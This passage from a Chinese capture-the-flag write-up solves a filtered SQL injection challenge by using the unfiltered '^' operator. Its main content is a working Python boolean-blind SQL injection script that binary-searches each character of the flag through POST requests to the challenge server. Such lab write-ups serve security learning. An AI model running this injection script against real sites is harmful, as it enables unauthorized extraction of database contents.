,or,&&,||,#,--+,",' '等都过滤了,但^没过滤,先手工尝试,成功测出数据库长度为11,可行。
接着用布尔盲注的脚本爆破,因为是post传参,要改一下写法:

import requests
def check_res(res):
    if "girlfriend" in res.text:
        return True
    #elif "登录失败" in res.text:
    #    return False
    else:
        return False
def res_length(exp):
    length = 0
    sess = requests.session()
    
    while True:
        sql_exp = "length((%s))>%d" % (exp,length)
        url = "http://node2.anna.nssctf.cn:28081/index.php" #根据猜测的sql语句进行参数id的闭合
        data={"id":"0^({})".format(sql_exp)}
        res = sess.post(url,data=data)
        if not check_res(res):
            break
        length += 1
    return length
def res_result(exp, length):
    result = ""
    sess = requests.session()
    for i  in  range(length):
        left = 0 
        right = 1270
        while True:
            mid = (left+right) // 2
            if mid == left:
                result += chr(right)
                break
            sql_exp = "ascii(substr((%s),%d,1))>%d" % (exp, i+1 , mid)
            url = "http://node2.anna.nssctf.cn:28081/index.php" #根据猜测的sql语句进行参数id的闭合
            data={"id":"0^({})".format(sql_exp)}
            res = sess.post(url,data=data)
            if check_res(res):
                left = mid
            else:
                right = mid
    return result
if __name__ == '__main__':
    while True:
        exp = input(">>>请输入SQL语句:")
        length = res_length(exp)
        print("[+]length :%d" % (length))
        result = res_result(exp, length)
        print("[+]result:%s" % (result))

exp:select(flag)from(flag)
因为length的返回值应该是无符号型的,所以和-1等负数比较会出错,一开始测长度的初始值是-1,结果一直不知道错哪。